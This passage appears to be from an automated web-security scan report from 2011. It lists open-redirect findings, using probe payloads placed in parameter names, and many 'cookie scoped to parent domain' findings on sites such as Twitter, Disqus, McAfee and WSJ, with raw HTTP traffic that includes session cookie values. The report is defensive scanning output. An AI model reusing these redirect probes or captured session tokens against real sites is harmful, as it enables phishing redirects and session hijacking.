3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24';
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C_4248=4844349; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iGbIaMPo0cFA00001idcDaMPm0cEt00001iuIZaMPl0aMI00001iETRaMPm06b+00001jxYPaMPg0doZ00001idcEaMPm0cEt00001; B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD8SlE0000000001uD8VS90000000001uD9fOJ0000000001uC8JJn0000000001uD

Response

HTTP/1.1 302 Object moved
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Location: http://.a82c26bf27e832067/
Server: Microsoft-IIS/7.5
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPi0cOm00001iGbIaMPo0cFA00001idcDaMPm0cEt00001iuIZaMPl0aMI00001idcEaMPm0cEt00001jxYPaMPg0doZ00001iETRaMPm06b+00001iN4OaMPF0d9d00000; expires=Fri, 12-Aug-2011 06:33:52 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD98IM0000000000uD8Yi+0000000001uD9sKa0000000001uD8SlF0000000001uD8SlE0000000001uD9fOJ0000000001uC8VS90000000001uD8JJn0000000001uD; expires=Fri, 12-Aug-2011 06:33:52 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:33:51 GMT
Connection: close

13.2. http://idolpeeps.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://idolpeeps.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is used to perform an HTTP redirect. The payload .a59a9b6bc2bec1a64/ was submitted in the name of an arbitrarily supplied request parameter. This caused a redirection to the following URL:

http://www.fanpeeps.com?.a59a9b6bc2bec1a64/=1

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Request

GET /?.a59a9b6bc2bec1a64/=1 HTTP/1.1
Host: idolpeeps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 12:33:46 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Location: http://www.fanpeeps.com?.a59a9b6bc2bec1a64/=1
Content-Length: 410
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.fanpeeps.com?.a59a9b6bc2bec1a64/=1">
...[SNIP]...

14. Cookie scoped to parent domain previous next
There are 71 instances of this issue:

http://allthingsd-kara.disqus.com/remote_auth.js
http://allthingsd-kara.disqus.com/thread.js
http://api.twitter.com/1/statuses/user_timeline.json
http://api.twitter.com/1/urls/resolve.json
https://home.mcafee.com/WebServices/AccountWebSvc.asmx/js
https://home.mcafee.com/secure/cart/
http://online.wsj.com/home-page
http://t.mookie1.com/t/v1/imp
http://t.mookie1.com/t/v1/imp/cc
http://us.mcafee.com/root/basket.asp
http://us.mcafee.com/root/offer.asp
http://ad.doubleclick.net/activity
http://ad.doubleclick.net/activity
http://ad.doubleclick.net/adi/interactive.wsj.com/weekend
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0
http://altfarm.mediaplex.com/ad/js/13754-86576-29158-0
http://amch.questionmarket.com/adsc/d845473/10/40348193/decide.php
http://api.bizographics.com/v1/profile.json
http://b.scorecardresearch.com/b
http://b.scorecardresearch.com/r
http://bh.contextweb.com/bh/set.aspx
http://bp.specificclick.net/
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://c.statcounter.com/t.php
http://fls.doubleclick.net/activityi
http://fls.doubleclick.net/activityi
http://ib.adnxs.com/seg
http://id.google.com/verify/EAAAACuGG1ZJOl73NLOdE3G8DE0.gif
http://images.apple.com/global/nav/styles/navigation.css
http://images.apple.com/ipod/images/gradient_texture20100901.jpg
http://js.revsci.net/common/pcx.js
http://l.sharethis.com/pview
http://leadback.advertising.com/adcedge/lb
http://m.adnxs.com/msftcookiehandler
http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252
http://metrics.mcafee.com/b/ss/mcafeecomglobal/1/H.21/s81213273680768
http://mp.apmebf.com/ad/js/13754-86576-1281-0
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/get
http://odb.outbrain.com/utils/ping.html
http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348
http://online.barrons.com/home
http://p.opt.fimserve.com/bht/
http://pix04.revsci.net/G07608/a4/0/0/pcx.js
http://pix04.revsci.net/G07608/b3/0/3/1008211/103680847.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/128779481.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/263206907.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/297502058.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/317069095.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/382438596.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/577937684.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/671305054.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/920211703.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/940857618.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/976949516.gif
http://pix04.revsci.net/G07608/b3/0/3/1008211/99829846.gif
http://pix04.revsci.net/I10981/b3/0/3/noscript.gif
http://pix04.revsci.net/I10981/b3/0/3/noscript.gif
http://pix04.revsci.net/I10981/b3/0/3/noscript.gif
http://server.iad.liveperson.net/hc/10599399/
http://server.iad.liveperson.net/hc/44533531/
http://traffic.outbrain.com/network/redir
http://www.bizographics.com/collect/
http://www.marketwatch.com/
http://www.mcafeesecure.com/ads/1103/2
http://www.smartmoney.com/

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

14.1. http://allthingsd-kara.disqus.com/remote_auth.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://allthingsd-kara.disqus.com
Path:	/remote_auth.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

sessionid=bd31446c19306a09400bd231026c0ce8; Domain=.disqus.com; expires=Sat, 28-May-2011 10:22:46 GMT; Max-Age=1209600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /remote_auth.js?remote_auth_s2=e30%3D+7f6c92f7a9434cf88483edc484eb354d52f52473+1305367803 HTTP/1.1
Host: allthingsd-kara.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:22:46 GMT
Server: Apache/2.2.14 (Ubuntu)
Vary: Cookie,Accept-Encoding
p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Set-Cookie: sessionid=bd31446c19306a09400bd231026c0ce8; Domain=.disqus.com; expires=Sat, 28-May-2011 10:22:46 GMT; Max-Age=1209600; Path=/
Connection: close
Content-Type: text/javascript; charset=UTF-8
Content-Length: 19

/* AnonymousUser */

14.2. http://allthingsd-kara.disqus.com/thread.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://allthingsd-kara.disqus.com
Path:	/thread.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

sessionid=6e6e8ad49aa0d7774c4482858306d0b8; Domain=.disqus.com; expires=Sat, 28-May-2011 10:24:02 GMT; Max-Age=1209600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /thread.js?url=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F%20&title=Dear%20Yahoo%20Board%3A%20Your%20Investors%20Are%20on%20Line%202%20and%20They%26%238217%3Bre%20Not%20Happy&sort=&per_page&category_id=&developer=NaN&identifier=43940%20http%3A%2F%2Fkara.allthingsd.com%2F%3Fp%3D43940&remote_auth_s2=W10%3D%209735a52109865fcc041e9d45942e67773ec4dd82%201305367803&1305368043783 HTTP/1.1
Host: allthingsd-kara.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:24:02 GMT
Server: Apache/2.2.14 (Ubuntu)
Content-Language: en-us
Vary: Accept-Language,Cookie,Accept-Encoding
p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Set-Cookie: test=1; Path=/
Set-Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8; Domain=.disqus.com; expires=Sat, 28-May-2011 10:24:02 GMT; Max-Age=1209600; Path=/
Connection: close
Content-Type: text/javascript; charset=UTF-8
Content-Length: 14636

/*jslint evil:true */
/**
* Dynamic thread loader
*
*
*
*
*
*
*/

//
var DISQUS;
if (!DISQUS || typeof DISQUS == 'function') {
throw "DISQUS object is not initialized";
}
//

// json
...[SNIP]...

14.3. http://api.twitter.com/1/statuses/user_timeline.json previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://api.twitter.com
Path:	/1/statuses/user_timeline.json

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /1/statuses/user_timeline.json?since_id=52426551261798400&include_entities=1&include_available_features=1&contributor_details=true&include_rts=true&user_id=262332369 HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
Referer: http://api.twitter.com/receiver.html
X-Requested-With: XMLHttpRequest
X-Twitter-Polling: true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
X-PHX: true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130530556419951159; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; __utmb=43838368.2.10.1305368954; original_referer=JbKFAfGwv4RwApvTLqS%2BuSg2nN6n6Sc2FNg%2B%2FJZdApHOHiilCO8gnQ%3D%3D; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:52 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368992-98136-36365
X-RateLimit-Limit: 1000
ETag: "209bd8d9cf2044a7efe782c22b47d6d0"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:52 GMT
X-RateLimit-Remaining: 992
X-Runtime: 0.01284
X-Transaction-Mask: a6183ffa5f8ca943ff1b53b5644ef114be3e990c
Content-Type: application/json; charset=utf-8
Pragma: no-cache
X-RateLimit-Class: api_phoenix
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 829fa2ae50b72531faff5a83bceef9b300569be4
X-RateLimit-Reset: 1305372557
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 3777

{"statuses":[],"packed_response_type":"statuses","available_features":{"tweet_stream_search":1,"phoenix_puffin":1,"tweet_stream_retweets_by_others":1,"tweet_geo_component":1,"list_stream_subscriptions
...[SNIP]...

14.4. http://api.twitter.com/1/urls/resolve.json previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://api.twitter.com
Path:	/1/urls/resolve.json

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /1/urls/resolve.json?urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FdO9oK5&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FdWlkEH&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fg2ODhB&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fi3PGeT&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fhp4OUk&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FdZ6iuA&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FedDwFf&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FiaRiNZ&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FeUJgKx&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fet18TG&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FeSEe28&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fezvlur&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FhsoYgr&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FeTJb1V&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FeUgY3E&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FgQCdQj&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fi63DHG&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2Fi3oHOK&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FidmEZ7&urls%5B%5D=http%3A%2F%2Fon.wsj.com%2FdTAxsU HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
Referer: http://api.twitter.com/receiver.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
X-PHX: true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130530556419951159; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; __utmb=43838368.2.10.1305368954; original_referer=JbKFAfGwv4RwApvTLqS%2BuSg2nN6n6Sc2FNg%2B%2FJZdApHOHiilCO8gnQ%3D%3D; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:23 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368963-37137-31616
X-RateLimit-Limit: 1000
ETag: "99914b932bd37a50b983c5e7c90ae93b"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:23 GMT
X-RateLimit-Remaining: 994
X-Runtime: 0.00717
X-Transaction-Mask: a6183ffa5f8ca943ff1b53b5644ef114be3e990c
Content-Type: application/json; charset=utf-8
Pragma: no-cache
X-RateLimit-Class: api_phoenix
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 9764f7a1d0fd20ebfea95573caca6842ca3edb00
X-RateLimit-Reset: 1305372557
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 2

{}

14.5. https://home.mcafee.com/WebServices/AccountWebSvc.asmx/js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://home.mcafee.com
Path:	/WebServices/AccountWebSvc.asmx/js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; domain=mcafee.com; path=/; HttpOnly
lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; domain=mcafee.com; path=/; HttpOnly
Locale=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
HPrst=gu=22a3c062-a3d0-4f46-9ecc-f8de804c3864&loc=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
HRntm=vkey=%2fmK8BFW1DIsE11QFf%2bmOuQ%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=ebf977ddd14dbd5fd1eb165277c3f80b5b414d5f550b0217&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; domain=mcafee.com; path=/; HttpOnly
IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

14.6. https://home.mcafee.com/secure/cart/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://home.mcafee.com
Path:	/secure/cart/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; domain=mcafee.com; path=/; HttpOnly
lBounceURL=http://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1; domain=mcafee.com; path=/; HttpOnly
Locale=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
HPrst=gu=79306942-b6cc-4186-914e-879f3f82a9b0&loc=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
HRntm=vkey=TEayqYmK%2fG%2bgq%2bzYb3K%2fLw%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=715afff7d236f3dfa4dd1e1d4940c8e15b414d5f550b0211&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; domain=mcafee.com; path=/; HttpOnly
IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

14.7. http://online.wsj.com/home-page previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

DJSESSION=ORCS%3dna%2cus; path=/; domain=.wsj.com
djcs_route=e3d83c8b-1ab1-48e1-816c-23e200bad9cc; domain=.wsj.com; path=/; Expires=Tue May 11 06:09:03 2021; max-age=315360000
DJCOOKIE=ORC%3dna%2cus; path=/; domain=.wsj.com; expires=Sun, 13-May-2012 10:09:03 GMT
wsjregion=na%2cus; path=/; domain=.wsj.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

14.8. http://t.mookie1.com/t/v1/imp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/imp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session=1305368239|1305368239; path=/; domain=.mookie1.com
id=633323350617849; path=/; expires=Thu, 07-Jun-12 10:17:19 GMT; domain=.mookie1.com
OAX=rcHW803OVq8AAJyf; path=/; expires=Thu, 07-Jun-12 10:17:19 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /t/v1/imp?%25&migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;62148934;241141973;42127996&migRandom=3061666&migTrackFmtExt=client;io;ad;crtv HTTP/1.1
Host: t.mookie1.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:17:19 GMT
Server: Apache/2.0.52 (Red Hat)
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Set-Cookie: id=633323350617849; path=/; expires=Thu, 07-Jun-12 10:17:19 GMT; domain=.mookie1.com
Set-Cookie: session=1305368239|1305368239; path=/; domain=.mookie1.com
Set-Cookie: OAX=rcHW803OVq8AAJyf; path=/; expires=Thu, 07-Jun-12 10:17:19 GMT; domain=.mookie1.com
Location: /t/v1/imp/cc?%25&migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;62148934;241141973;42127996&migRandom=3061666&migTrackFmtExt=client;io;ad;crtv
Content-Length: 435
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/t/v1/imp/cc?%25&migAgencyId=14&migSour
...[SNIP]...

14.9. http://t.mookie1.com/t/v1/imp/cc previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/imp/cc

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session=1305367992|1305368258; path=/; domain=.mookie1.com
id=2814750682866683; path=/; expires=Thu, 07-Jun-12 10:17:38 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /t/v1/imp/cc?%25&migAgencyId=14&migSource=adsrv2&migTrackDataExt=1033942;62148934;241141973;42127996&migRandom=3061666&migTrackFmtExt=client;io;ad;crtv HTTP/1.1
Host: t.mookie1.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
